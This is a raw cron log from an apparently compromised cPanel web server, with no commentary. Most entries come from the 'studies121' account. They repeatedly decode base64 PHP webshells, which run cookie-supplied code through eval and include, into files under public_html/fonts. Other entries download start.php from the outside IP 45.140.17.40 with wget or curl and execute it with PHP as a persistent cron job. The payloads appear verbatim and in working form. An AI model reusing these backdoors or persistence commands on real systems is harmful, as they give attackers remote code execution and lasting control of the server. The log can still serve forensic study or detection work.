Aug 30 14:43:01 ip-184-168-122-23 CROND[29857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:43:01 ip-184-168-122-23 CROND[29859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:43:01 ip-184-168-122-23 CROND[29860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:44:01 ip-184-168-122-23 CROND[29960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:44:01 ip-184-168-122-23 CROND[29963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:44:01 ip-184-168-122-23 CROND[29965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:44:01 ip-184-168-122-23 CROND[29962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:44:01 ip-184-168-122-23 CROND[29964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:45:01 ip-184-168-122-23 CROND[30055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:45:01 ip-184-168-122-23 CROND[30057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:45:01 ip-184-168-122-23 CROND[30058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:45:01 ip-184-168-122-23 CROND[30059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:45:01 ip-184-168-122-23 CROND[30060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:45:01 ip-184-168-122-23 CROND[30062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:46:01 ip-184-168-122-23 CROND[30239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:46:01 ip-184-168-122-23 CROND[30241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:46:01 ip-184-168-122-23 CROND[30242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:46:01 ip-184-168-122-23 CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 14:46:01 ip-184-168-122-23 CROND[30245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:46:01 ip-184-168-122-23 CROND[30243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:46:01 ip-184-168-122-23 CROND[30246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:47:01 ip-184-168-122-23 CROND[30335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:47:01 ip-184-168-122-23 CROND[30338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:47:01 ip-184-168-122-23 CROND[30337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:47:01 ip-184-168-122-23 CROND[30340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:48:01 ip-184-168-122-23 CROND[30422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:48:01 ip-184-168-122-23 CROND[30421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:48:01 ip-184-168-122-23 CROND[30425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:48:01 ip-184-168-122-23 CROND[30426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:48:01 ip-184-168-122-23 CROND[30427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:49:01 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:49:01 ip-184-168-122-23 CROND[30532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:49:01 ip-184-168-122-23 CROND[30531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:49:01 ip-184-168-122-23 CROND[30533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:50:01 ip-184-168-122-23 CROND[30621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:50:01 ip-184-168-122-23 CROND[30622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:50:01 ip-184-168-122-23 CROND[30632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:50:01 ip-184-168-122-23 CROND[30635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:51:01 ip-184-168-122-23 CROND[30856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:51:01 ip-184-168-122-23 CROND[30858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:51:01 ip-184-168-122-23 CROND[30860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:51:01 ip-184-168-122-23 CROND[30861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:52:01 ip-184-168-122-23 CROND[30942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:52:01 ip-184-168-122-23 CROND[30943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:52:01 ip-184-168-122-23 CROND[30944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:52:01 ip-184-168-122-23 CROND[30945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:52:01 ip-184-168-122-23 CROND[30948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:53:01 ip-184-168-122-23 CROND[31029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:53:01 ip-184-168-122-23 CROND[31031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:53:01 ip-184-168-122-23 CROND[31033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:53:01 ip-184-168-122-23 CROND[31032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:54:01 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:54:01 ip-184-168-122-23 CROND[31111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:54:01 ip-184-168-122-23 CROND[31114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:54:01 ip-184-168-122-23 CROND[31112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:54:01 ip-184-168-122-23 CROND[31113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:55:01 ip-184-168-122-23 CROND[31201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
